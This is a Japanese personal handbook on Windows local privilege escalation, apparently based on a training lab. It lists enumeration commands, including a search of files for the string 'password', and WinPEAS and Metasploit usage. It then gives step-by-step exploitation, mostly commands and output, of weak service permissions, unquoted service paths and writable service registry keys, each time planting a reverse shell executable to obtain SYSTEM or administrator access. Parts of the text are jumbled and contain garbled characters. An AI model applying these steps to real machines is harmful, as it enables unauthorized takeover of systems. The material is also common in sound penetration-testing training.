
Windowsの権限昇格の概念に関する私のハンドブック。私のプレイリストもチェックしてください。リンク: https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk
重要な注意点はグループです。Administrator グループの任意のユーザーが権限昇格に役立ちます!
whoami /priv - 現在のユーザーの権限net users - すべてのユーザーを一覧表示net user <username> - 特定のユーザーの詳細を一覧表示qwinsta - 同時にログインしている他のユーザーnet localgroup - システムで利用可能なグループnet localgroup <group-name> - 特定のグループのメンバーを一覧表示systeminfo - OSに関するすべての情報を提供hostname - システムのホスト名findstr /si password *.txt - 「password」を含むファイルをテキストファイルの中から探していますwmic qfe get Caption,Description,HotFixID,InstalledOn - セキュリティパッチと関連情報を表示しますnetstat -ano - マシンに関連する接続schtasks /query /fo LIST /v - スケジュールされたタスクを確認するdriverquery - ドライバー関連情報を一覧表示sc query windefend - アンチウイルスサービスを探すsysteminfo ツールの出力のコピーを用意するだけで、これがこのツールの唯一の要件ですwmic product get name,version,vendor - 製品名、バージョン、ベンダーを提供します。この特定のコマンドは、必要なものを適切に視覚化してくれます。wmic service list brief | findstr "Running" を使用し、サービスに関する詳細情報を取得するには sc qc <ServiceName> を使用してください。post/multi/recon/local_exploit_suggester というモジュールを実行します。このツールが正しく動作するように、セッションをバックグラウンドに置くことを確認してください。または、meterpreter から単にロードすることもできます。winpeas.exe --help を実行してすべてのオプションを確認してください。systeminfo コマンドを実行してシステム情報を取得し、それを任意のファイルにコピーして拡張子 .txt を付けて名前を付けますここでは、安全でない権限を持つサービスを特定し、それらを悪用してみます。
ここでは winpeas.exe servicesinfo コマンドを利用でき、非常に役立つサービスを確認できます。
出力の興味深い部分は次のようなものです。```
daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig
- しかし、より詳細な情報を得るために、Microsoft製の**accesschk**というツールを使用できます。次のように実行します `accesschk.exe /accepteula -uwcqv <current-user> <service>`、出力は次のとおりです。```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
service_change_config で、サービスの構成を変更できます。sc qc <service> を実行し、変更対象となる Binary_path_name(binpath とも呼ばれる)をメモします(悪い笑み)。sc config <service> <option>="<value>" です。sc config daclsvc binpath="<path>" を実行し、サービス sc start daclsvc を開始します。Vulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe
The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.
C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe
- 詳細情報を取得するには、**WinPEAS** スクリプトを `servicesinfo` オプション付きで使用するだけです。ここでは、**Unquoted Service Path** を悪用できるかどうかの情報を確認できます。ツールを実行したところ、出力の興味深い部分は次のようになります、```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected
sc qc <service> を使用します。accesschk を使用して、この特定の場所 C:\Program Files\Unquoted Path Service の権限を確認しましょう。accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service" を実行します。出力:```
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"
C:\Program Files\Unquoted Path Service
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW NT SERVICE\TrustedInstaller
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators- 読み取りと書き込みの権限があります。
- 次に、ペイロードを作成して `C:\Program Files\Unquoted Path Service` に配置します。`copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"` を使用します。ここでは、アルファベット順でも有利になるように、別の名前を使用しています。
- 次にサービスを開始します。`sc start unquotedsvc` を実行すると、管理者になります!!!
-----------------------
### 弱いレジストリ権限:
- ここでは、レジストリ権限が弱いサービスを悪用してみます。
- これらを探すには、`servicesinfo` オプションを指定した `Winpeas` を使用する必要があります。出力は次のようになります。```
���������� Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions
HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])
次にサービスの名前はregsvcです。このサービスについて深く掘り下げましょう。sc qc regsvcを実行すると、出力は次のとおりです。```
sc qc regsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem
- ちょっとした面白い事実として、パスが引用符で囲まれているため、**Unquoted Service Path**には該当しません。
- 次に、`accesschk.exe` を実行して深く掘り下げましょう。`accesschk /acceptula -uvwqk <path of registry>` を実行します(これは `HKLM\system\currentcontrolset\services\regsvc` です)。
- 出力内で `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)` を探します。これが見つかれば、悪用する準備は完了です。
- 次に、`reg query HKLM\system\currentcontrolset\services\regsvc` を使用してレジストリ内のオプションを確認しましょう。`ImagePath` というオプションが見つかりました。これは実行可能ファイルの値を取るため、これを悪用しましょう。まず、リバースシェルを作成します。
- 次に、`reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f` を実行します。ペイロードのパスは要件に応じて選択してください。
- サービスを実行します。`net start regsvc` を実行すると、やった! シェルを取得できました。